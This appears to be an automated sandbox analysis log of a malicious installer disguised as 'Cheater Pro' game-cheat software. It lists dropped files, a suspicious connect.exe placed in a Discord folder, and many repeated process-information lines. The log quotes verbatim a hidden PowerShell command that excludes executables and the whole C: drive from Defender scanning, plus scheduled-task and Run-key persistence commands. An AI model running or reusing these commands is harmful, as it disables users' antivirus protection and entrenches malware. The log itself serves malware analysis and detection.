Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -Command "& { & 'Add-MpPreference' -ExclusionExtension '.dll', '.exe' -ExclusionPath C: -Force }
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -Command "& { & 'Add-MpPreference' -ExclusionExtension '.dll', '.exe' -ExclusionPath C: -Force }			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 21_2_004066D0 LoadLibraryA,GetProcAddress,ExitProcess,

21_2_004066D0

Source: LuaJIT.exe.2.dr

Static PE information: real checksum: 0xe4e34 should be: 0xe4e5e

Source: LuaJIT.exe.2.dr

Static PE information: section name: _RDATA

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_02B56472 pushfd ; ret	7_2_02B56481
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_02B5646D pushad ; ret	7_2_02B56471
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_02B52AB0 push cs; iretd	7_2_02B52B8A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_02B52AA0 push cs; iretd	7_2_02B52AA2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_02B52B8B push cs; iretd	7_2_02B52B92
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF7189E499C push rbp; ret	13_2_00007FF7189E49D8
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A2CAF0 push rdi; iretd	13_2_00007FF718A2D039
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A20DF0 push rbp; iretd	13_2_00007FF718A20DF1
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A43F19 push rax; ret	13_2_00007FF718A43F1D
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A21307 push rbp; iretd	13_2_00007FF718A21308
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF7189FD483 push rdi; iretd	13_2_00007FF7189FD489
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 17_3_00007FF72F6C88EF pushad ; retf	17_3_00007FF72F6C88F2
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 17_3_00007FF72F6C88E2 pushad ; retf	17_3_00007FF72F6C88E5
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 17_3_00007FF72F6C88BF pushad ; retf	17_3_00007FF72F6C88C2
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 17_3_00007FF72F6C8918 pushad ; retf	17_3_00007FF72F6C8919
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 19_3_00007FF7497985F2 push esp; ret	19_3_00007FF7497985F9
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 20_2_03B83D40 pushfd ; retf	20_2_03B83D41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0045F1DD push ecx; ret	21_2_0045F1DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00468E9D push esi; ret	21_2_00468EA6

Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI4420.tmp	Jump to dropped file
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	File created: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI43E0.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI24A6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI1005.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI1379.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI25B3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI2553.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI2583.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI3C3D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI10F3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI1083.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI1123.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI3B71.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI26EE.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI10D3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI2641.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI1200.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI123F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI10B3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI11D0.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI24A6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI25B3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI2553.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI2583.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI3C3D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI3B71.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI26EE.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI2641.tmp	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /sc daily /st 14:58 /f /tn "LuaJIT" /tr ""C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file""

Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run LuaJIT			Jump to behavior
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run LuaJIT			Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
